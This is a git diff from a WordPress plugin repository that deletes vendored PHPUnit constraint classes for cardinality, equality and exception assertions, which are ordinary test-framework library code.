a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/Count.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/Count.php deleted file mode 100644 index ff04a698..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/Count.php +++ /dev/null @@ -1,142 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function count; -use function is_array; -use function iterator_count; -use function sprintf; -use Countable; -use EmptyIterator; -use Generator; -use Iterator; -use IteratorAggregate; -use PHPUnit\Framework\Exception; -use Traversable; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -class Count extends Constraint -{ - /** - * @var int - */ - private $expectedCount; - - public function __construct(int $expected) - { - $this->expectedCount = $expected; - } - - public function toString(): string - { - return sprintf( - 'count matches %d', - $this->expectedCount, - ); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @throws Exception - */ - protected function matches($other): bool - { - return $this->expectedCount === $this->getCountOf($other); - } - - /** - * @throws Exception - */ - protected function getCountOf($other): ?int - { - if ($other instanceof Countable || is_array($other)) { - return count($other); - } - - if ($other instanceof EmptyIterator) { - return 0; - } - - if ($other instanceof Traversable) { - while ($other instanceof IteratorAggregate) { - try { - $other = $other->getIterator(); - } catch (\Exception $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - } - - $iterator = $other; - - if ($iterator instanceof Generator) { - return $this->getCountOfGenerator($iterator); - } - - if (!$iterator instanceof Iterator) { - return iterator_count($iterator); - } - - $key = $iterator->key(); - $count = iterator_count($iterator); - - // Manually rewind $iterator to previous key, since iterator_count - // moves pointer. - if ($key !== null) { - $iterator->rewind(); - - while ($iterator->valid() && $key !== $iterator->key()) { - $iterator->next(); - } - } - - return $count; - } - - return null; - } - - /** - * Returns the total number of iterations from a generator. - * This will fully exhaust the generator. - */ - protected function getCountOfGenerator(Generator $generator): int - { - for ($count = 0; $generator->valid(); $generator->next()) { - $count++; - } - - return $count; - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - */ - protected function failureDescription($other): string - { - return sprintf( - 'actual size %d matches expected size %d', - (int) $this->getCountOf($other), - $this->expectedCount, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/GreaterThan.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/GreaterThan.php deleted file mode 100644 index 7d079f50..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/GreaterThan.php +++ /dev/null @@ -1,52 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class GreaterThan extends Constraint -{ - /** - * @var float|int - */ - private $value; - - /** - * @param float|int $value - */ - public function __construct($value) - { - $this->value = $value; - } - - /** - * Returns a string representation of the constraint. - * - * @throws InvalidArgumentException - */ - public function toString(): string - { - return 'is greater than ' . $this->exporter()->export($this->value); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return $this->value < $other; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/IsEmpty.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/IsEmpty.php deleted file mode 100644 index ee01e93d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/IsEmpty.php +++ /dev/null @@ -1,70 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function count; -use function gettype; -use function sprintf; -use function strpos; -use Countable; -use EmptyIterator; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsEmpty extends Constraint -{ - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return 'is empty'; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - if ($other instanceof EmptyIterator) { - return true; - } - - if ($other instanceof Countable) { - return count($other) === 0; - } - - return empty($other); - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - */ - protected function failureDescription($other): string - { - $type = gettype($other); - - return sprintf( - '%s %s %s', - strpos($type, 'a') === 0 || strpos($type, 'o') === 0 ? 'an' : 'a', - $type, - $this->toString(), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/LessThan.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/LessThan.php deleted file mode 100644 index 4d0184a2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/LessThan.php +++ /dev/null @@ -1,52 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class LessThan extends Constraint -{ - /** - * @var float|int - */ - private $value; - - /** - * @param float|int $value - */ - public function __construct($value) - { - $this->value = $value; - } - - /** - * Returns a string representation of the constraint. - * - * @throws InvalidArgumentException - */ - public function toString(): string - { - return 'is less than ' . $this->exporter()->export($this->value); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return $this->value > $other; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/SameSize.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/SameSize.php deleted file mode 100644 index a5467942..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Cardinality/SameSize.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class SameSize extends Count -{ - public function __construct(iterable $expected) - { - parent::__construct((int) $this->getCountOf($expected)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Constraint.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Constraint.php deleted file mode 100644 index 2ee73973..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Constraint.php +++ /dev/null @@ -1,270 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function sprintf; -use Countable; -use PHPUnit\Framework\ExpectationFailedException; -use PHPUnit\Framework\SelfDescribing; -use SebastianBergmann\Comparator\ComparisonFailure; -use SebastianBergmann\Exporter\Exporter; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -abstract class Constraint implements Countable, SelfDescribing -{ - /** - * @var ?Exporter - */ - private $exporter; - - /** - * Evaluates the constraint for parameter $other. - * - * If $returnResult is set to false (the default), an exception is thrown - * in case of a failure. null is returned otherwise. - * - * If $returnResult is true, the result of the evaluation is returned as - * a boolean value instead: true in case of success, false in case of a - * failure. - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - */ - public function evaluate($other, string $description = '', bool $returnResult = false): ?bool - { - $success = false; - - if ($this->matches($other)) { - $success = true; - } - - if ($returnResult) { - return $success; - } - - if (!$success) { - $this->fail($other, $description); - } - - return null; - } - - /** - * Counts the number of constraint elements. - */ - public function count(): int - { - return 1; - } - - protected function exporter(): Exporter - { - if ($this->exporter === null) { - $this->exporter = new Exporter; - } - - return $this->exporter; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * This method can be overridden to implement the evaluation algorithm. - * - * @param mixed $other value or object to evaluate - * - * @codeCoverageIgnore - */ - protected function matches($other): bool - { - return false; - } - - /** - * Throws an exception for the given compared value and test description. - * - * @param mixed $other evaluated value or object - * @param string $description Additional information about the test - * - * @throws ExpectationFailedException - * @throws InvalidArgumentException - * - * @psalm-return never-return - */ - protected function fail($other, $description, ?ComparisonFailure $comparisonFailure = null): void - { - $failureDescription = sprintf( - 'Failed asserting that %s.', - $this->failureDescription($other), - ); - - $additionalFailureDescription = $this->additionalFailureDescription($other); - - if ($additionalFailureDescription) { - $failureDescription .= "\n" . $additionalFailureDescription; - } - - if (!empty($description)) { - $failureDescription = $description . "\n" . $failureDescription; - } - - throw new ExpectationFailedException( - $failureDescription, - $comparisonFailure, - ); - } - - /** - * Return additional failure description where needed. - * - * The function can be overridden to provide additional failure - * information like a diff - * - * @param mixed $other evaluated value or object - */ - protected function additionalFailureDescription($other): string - { - return ''; - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * To provide additional failure information additionalFailureDescription - * can be used. - * - * @param mixed $other evaluated value or object - * - * @throws InvalidArgumentException - */ - protected function failureDescription($other): string - { - return $this->exporter()->export($other) . ' ' . $this->toString(); - } - - /** - * Returns a custom string representation of the constraint object when it - * appears in context of an $operator expression. - * - * The purpose of this method is to provide meaningful descriptive string - * in context of operators such as LogicalNot. Native PHPUnit constraints - * are supported out of the box by LogicalNot, but externally developed - * ones had no way to provide correct strings in this context. - * - * The method shall return empty string, when it does not handle - * customization by itself. - * - * @param Operator $operator the $operator of the expression - * @param mixed $role role of $this constraint in the $operator expression - */ - protected function toStringInContext(Operator $operator, $role): string - { - return ''; - } - - /** - * Returns the description of the failure when this constraint appears in - * context of an $operator expression. - * - * The purpose of this method is to provide meaningful failure description - * in context of operators such as LogicalNot. Native PHPUnit constraints - * are supported out of the box by LogicalNot, but externally developed - * ones had no way to provide correct messages in this context. - * - * The method shall return empty string, when it does not handle - * customization by itself. - * - * @param Operator $operator the $operator of the expression - * @param mixed $role role of $this constraint in the $operator expression - * @param mixed $other evaluated value or object - */ - protected function failureDescriptionInContext(Operator $operator, $role, $other): string - { - $string = $this->toStringInContext($operator, $role); - - if ($string === '') { - return ''; - } - - return $this->exporter()->export($other) . ' ' . $string; - } - - /** - * Reduces the sub-expression starting at $this by skipping degenerate - * sub-expression and returns first descendant constraint that starts - * a non-reducible sub-expression. - * - * Returns $this for terminal constraints and for operators that start - * non-reducible sub-expression, or the nearest descendant of $this that - * starts a non-reducible sub-expression. - * - * A constraint expression may be modelled as a tree with non-terminal - * nodes (operators) and terminal nodes. For example: - * - * LogicalOr (operator, non-terminal) - * + LogicalAnd (operator, non-terminal) - * | + IsType('int') (terminal) - * | + GreaterThan(10) (terminal) - * + LogicalNot (operator, non-terminal) - * + IsType('array') (terminal) - * - * A degenerate sub-expression is a part of the tree, that effectively does - * not contribute to the evaluation of the expression it appears in. An example - * of degenerate sub-expression is a BinaryOperator constructed with single - * operand or nested BinaryOperators, each with single operand. An - * expression involving a degenerate sub-expression is equivalent to a - * reduced expression with the degenerate sub-expression removed, for example - * - * LogicalAnd (operator) - * + LogicalOr (degenerate operator) - * | + LogicalAnd (degenerate operator) - * | + IsType('int') (terminal) - * + GreaterThan(10) (terminal) - * - * is equivalent to - * - * LogicalAnd (operator) - * + IsType('int') (terminal) - * + GreaterThan(10) (terminal) - * - * because the subexpression - * - * + LogicalOr - * + LogicalAnd - * + - - * - * is degenerate. Calling reduce() on the LogicalOr object above, as well - * as on LogicalAnd, shall return the IsType('int') instance. - * - * Other specific reductions can be implemented, for example cascade of - * LogicalNot operators - * - * + LogicalNot - * + LogicalNot - * +LogicalNot - * + IsTrue - * - * can be reduced to - * - * LogicalNot - * + IsTrue - */ - protected function reduce(): self - { - return $this; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqual.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqual.php deleted file mode 100644 index 04bfe4e8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqual.php +++ /dev/null @@ -1,137 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function is_string; -use function sprintf; -use function strpos; -use function trim; -use PHPUnit\Framework\ExpectationFailedException; -use SebastianBergmann\Comparator\ComparisonFailure; -use SebastianBergmann\Comparator\Factory as ComparatorFactory; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsEqual extends Constraint -{ - /** - * @var mixed - */ - private $value; - - /** - * @var float - */ - private $delta; - - /** - * @var bool - */ - private $canonicalize; - - /** - * @var bool - */ - private $ignoreCase; - - public function __construct($value, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false) - { - $this->value = $value; - $this->delta = $delta; - $this->canonicalize = $canonicalize; - $this->ignoreCase = $ignoreCase; - } - - /** - * Evaluates the constraint for parameter $other. - * - * If $returnResult is set to false (the default), an exception is thrown - * in case of a failure. null is returned otherwise. - * - * If $returnResult is true, the result of the evaluation is returned as - * a boolean value instead: true in case of success, false in case of a - * failure. - * - * @throws ExpectationFailedException - */ - public function evaluate($other, string $description = '', bool $returnResult = false): ?bool - { - // If $this->value and $other are identical, they are also equal. - // This is the most common path and will allow us to skip - // initialization of all the comparators. - if ($this->value === $other) { - return true; - } - - $comparatorFactory = ComparatorFactory::getInstance(); - - try { - $comparator = $comparatorFactory->getComparatorFor( - $this->value, - $other, - ); - - $comparator->assertEquals( - $this->value, - $other, - $this->delta, - $this->canonicalize, - $this->ignoreCase, - ); - } catch (ComparisonFailure $f) { - if ($returnResult) { - return false; - } - - throw new ExpectationFailedException( - trim($description . "\n" . $f->getMessage()), - $f, - ); - } - - return true; - } - - /** - * Returns a string representation of the constraint. - * - * @throws InvalidArgumentException - */ - public function toString(): string - { - $delta = ''; - - if (is_string($this->value)) { - if (strpos($this->value, "\n") !== false) { - return 'is equal to '; - } - - return sprintf( - "is equal to '%s'", - $this->value, - ); - } - - if ($this->delta != 0) { - $delta = sprintf( - ' with delta <%F>', - $this->delta, - ); - } - - return sprintf( - 'is equal to %s%s', - $this->exporter()->export($this->value), - $delta, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualCanonicalizing.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualCanonicalizing.php deleted file mode 100644 index 6d49c350..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualCanonicalizing.php +++ /dev/null @@ -1,109 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function is_string; -use function sprintf; -use function strpos; -use function trim; -use PHPUnit\Framework\ExpectationFailedException; -use SebastianBergmann\Comparator\ComparisonFailure; -use SebastianBergmann\Comparator\Factory as ComparatorFactory; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsEqualCanonicalizing extends Constraint -{ - /** - * @var mixed - */ - private $value; - - public function __construct($value) - { - $this->value = $value; - } - - /** - * Evaluates the constraint for parameter $other. - * - * If $returnResult is set to false (the default), an exception is thrown - * in case of a failure. null is returned otherwise. - * - * If $returnResult is true, the result of the evaluation is returned as - * a boolean value instead: true in case of success, false in case of a - * failure. - * - * @throws ExpectationFailedException - */ - public function evaluate($other, string $description = '', bool $returnResult = false): ?bool - { - // If $this->value and $other are identical, they are also equal. - // This is the most common path and will allow us to skip - // initialization of all the comparators. - if ($this->value === $other) { - return true; - } - - $comparatorFactory = ComparatorFactory::getInstance(); - - try { - $comparator = $comparatorFactory->getComparatorFor( - $this->value, - $other, - ); - - $comparator->assertEquals( - $this->value, - $other, - 0.0, - true, - false, - ); - } catch (ComparisonFailure $f) { - if ($returnResult) { - return false; - } - - throw new ExpectationFailedException( - trim($description . "\n" . $f->getMessage()), - $f, - ); - } - - return true; - } - - /** - * Returns a string representation of the constraint. - * - * @throws InvalidArgumentException - */ - public function toString(): string - { - if (is_string($this->value)) { - if (strpos($this->value, "\n") !== false) { - return 'is equal to '; - } - - return sprintf( - "is equal to '%s'", - $this->value, - ); - } - - return sprintf( - 'is equal to %s', - $this->exporter()->export($this->value), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualIgnoringCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualIgnoringCase.php deleted file mode 100644 index 932b7318..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualIgnoringCase.php +++ /dev/null @@ -1,109 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function is_string; -use function sprintf; -use function strpos; -use function trim; -use PHPUnit\Framework\ExpectationFailedException; -use SebastianBergmann\Comparator\ComparisonFailure; -use SebastianBergmann\Comparator\Factory as ComparatorFactory; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsEqualIgnoringCase extends Constraint -{ - /** - * @var mixed - */ - private $value; - - public function __construct($value) - { - $this->value = $value; - } - - /** - * Evaluates the constraint for parameter $other. - * - * If $returnResult is set to false (the default), an exception is thrown - * in case of a failure. null is returned otherwise. - * - * If $returnResult is true, the result of the evaluation is returned as - * a boolean value instead: true in case of success, false in case of a - * failure. - * - * @throws ExpectationFailedException - */ - public function evaluate($other, string $description = '', bool $returnResult = false): ?bool - { - // If $this->value and $other are identical, they are also equal. - // This is the most common path and will allow us to skip - // initialization of all the comparators. - if ($this->value === $other) { - return true; - } - - $comparatorFactory = ComparatorFactory::getInstance(); - - try { - $comparator = $comparatorFactory->getComparatorFor( - $this->value, - $other, - ); - - $comparator->assertEquals( - $this->value, - $other, - 0.0, - false, - true, - ); - } catch (ComparisonFailure $f) { - if ($returnResult) { - return false; - } - - throw new ExpectationFailedException( - trim($description . "\n" . $f->getMessage()), - $f, - ); - } - - return true; - } - - /** - * Returns a string representation of the constraint. - * - * @throws InvalidArgumentException - */ - public function toString(): string - { - if (is_string($this->value)) { - if (strpos($this->value, "\n") !== false) { - return 'is equal to '; - } - - return sprintf( - "is equal to '%s'", - $this->value, - ); - } - - return sprintf( - 'is equal to %s', - $this->exporter()->export($this->value), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualWithDelta.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualWithDelta.php deleted file mode 100644 index 0a04ffc8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualWithDelta.php +++ /dev/null @@ -1,101 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function sprintf; -use function trim; -use PHPUnit\Framework\ExpectationFailedException; -use SebastianBergmann\Comparator\ComparisonFailure; -use SebastianBergmann\Comparator\Factory as ComparatorFactory; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsEqualWithDelta extends Constraint -{ - /** - * @var mixed - */ - private $value; - - /** - * @var float - */ - private $delta; - - public function __construct($value, float $delta) - { - $this->value = $value; - $this->delta = $delta; - } - - /** - * Evaluates the constraint for parameter $other. - * - * If $returnResult is set to false (the default), an exception is thrown - * in case of a failure. null is returned otherwise. - * - * If $returnResult is true, the result of the evaluation is returned as - * a boolean value instead: true in case of success, false in case of a - * failure. - * - * @throws ExpectationFailedException - */ - public function evaluate($other, string $description = '', bool $returnResult = false): ?bool - { - // If $this->value and $other are identical, they are also equal. - // This is the most common path and will allow us to skip - // initialization of all the comparators. - if ($this->value === $other) { - return true; - } - - $comparatorFactory = ComparatorFactory::getInstance(); - - try { - $comparator = $comparatorFactory->getComparatorFor( - $this->value, - $other, - ); - - $comparator->assertEquals( - $this->value, - $other, - $this->delta, - ); - } catch (ComparisonFailure $f) { - if ($returnResult) { - return false; - } - - throw new ExpectationFailedException( - trim($description . "\n" . $f->getMessage()), - $f, - ); - } - - return true; - } - - /** - * Returns a string representation of the constraint. - * - * @throws InvalidArgumentException - */ - public function toString(): string - { - return sprintf( - 'is equal to %s with delta <%F>', - $this->exporter()->export($this->value), - $this->delta, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/Exception.php deleted file mode 100644 index bbaab4af..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/Exception.php +++ /dev/null @@ -1,85 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function get_class; -use function sprintf; -use PHPUnit\Util\Filter; -use Throwable; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class Exception extends Constraint -{ - /** - * @var string - */ - private $className; - - public function __construct(string $className) - { - $this->className = $className; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return sprintf( - 'exception of type "%s"', - $this->className, - ); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return $other instanceof $this->className; - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - */ - protected function failureDescription($other): string - { - if ($other !== null) { - $message = ''; - - if ($other instanceof Throwable) { - $message = '. Message was: "' . $other->getMessage() . '" at' - . "\n" . Filter::getFilteredStacktrace($other); - } - - return sprintf( - 'exception of type "%s" matches expected exception "%s"%s', - get_class($other), - $this->className, - $message, - ); - } - - return sprintf( - 'exception of type "%s" is thrown', - $this->className, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionCode.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionCode.php deleted file mode 100644 index 4d65e03b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionCode.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function sprintf; -use SebastianBergmann\RecursionContext\InvalidArgumentException; -use Throwable; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class ExceptionCode extends Constraint -{ - /** - * @var int|string - */ - private $expectedCode; - - /** - * @param int|string $expected - */ - public function __construct($expected) - { - $this->expectedCode = $expected; - } - - public function toString(): string - { - return 'exception code is '; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param Throwable $other - */ - protected function matches($other): bool - { - return (string) $other->getCode() === (string) $this->expectedCode; - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - * - * @throws InvalidArgumentException - */ - protected function failureDescription($other): string - { - return sprintf( - '%s is equal to expected exception code %s', - $this->exporter()->export($other->getCode()), - $this->exporter()->export($this->expectedCode), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessage.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessage.php deleted file mode 100644 index 5139e720..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessage.php +++ /dev/null @@ -1,78 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function sprintf; -use function strpos; -use Throwable; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class ExceptionMessage extends Constraint -{ - /** - * @var string - */ - private $expectedMessage; - - public function __construct(string $expected) - { - $this->expectedMessage = $expected; - } - - public function toString(): string - { - if ($this->expectedMessage === '') { - return 'exception message is empty'; - } - - return 'exception message contains '; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param Throwable $other - */ - protected function matches($other): bool - { - if ($this->expectedMessage === '') { - return $other->getMessage() === ''; - } - - return strpos((string) $other->getMessage(), $this->expectedMessage) !== false; - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - */ - protected function failureDescription($other): string - { - if ($this->expectedMessage === '') { - return sprintf( - "exception message is empty but is '%s'", - $other->getMessage(), - ); - } - - return sprintf( - "exception message '%s' contains '%s'", - $other->getMessage(), - $this->expectedMessage, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessageRegularExpression.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessageRegularExpression.php deleted file mode 100644 index bc737709..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessageRegularExpression.php +++ /dev/null @@ -1,74 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function sprintf; -use Exception; -use PHPUnit\Util\RegularExpression as RegularExpressionUtil; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class ExceptionMessageRegularExpression extends Constraint -{ - /** - * @var string - */ - private $expectedMessageRegExp; - - public function __construct(string $expected) - { - $this->expectedMessageRegExp = $expected; - } - - public function toString(): string - { - return 'exception message matches '; - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param \PHPUnit\Framework\Exception $other - * - * @throws \PHPUnit\Framework\Exception - * @throws Exception - */ - protected function matches($other): bool - { - $match = RegularExpressionUtil::safeMatch($this->expectedMessageRegExp, $other->getMessage()); - - if ($match === false) { - throw new \PHPUnit\Framework\Exception( - "Invalid expected exception message regex given: '{$this->expectedMessageRegExp}'", - ); - } - - return $match === 1; - } - - /** - * Returns the description of the failure. - * - * The beginning of failure messages is "Failed asserting that" in most - * cases. This method should return the second part of that sentence. - * - * @param mixed $other evaluated value or object - */ - protected function failureDescription($other): string - { - return sprintf( - "exception message '%s' matches '%s'", - $other->getMessage(), - $this->expectedMessageRegExp, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Filesystem/DirectoryExists.php 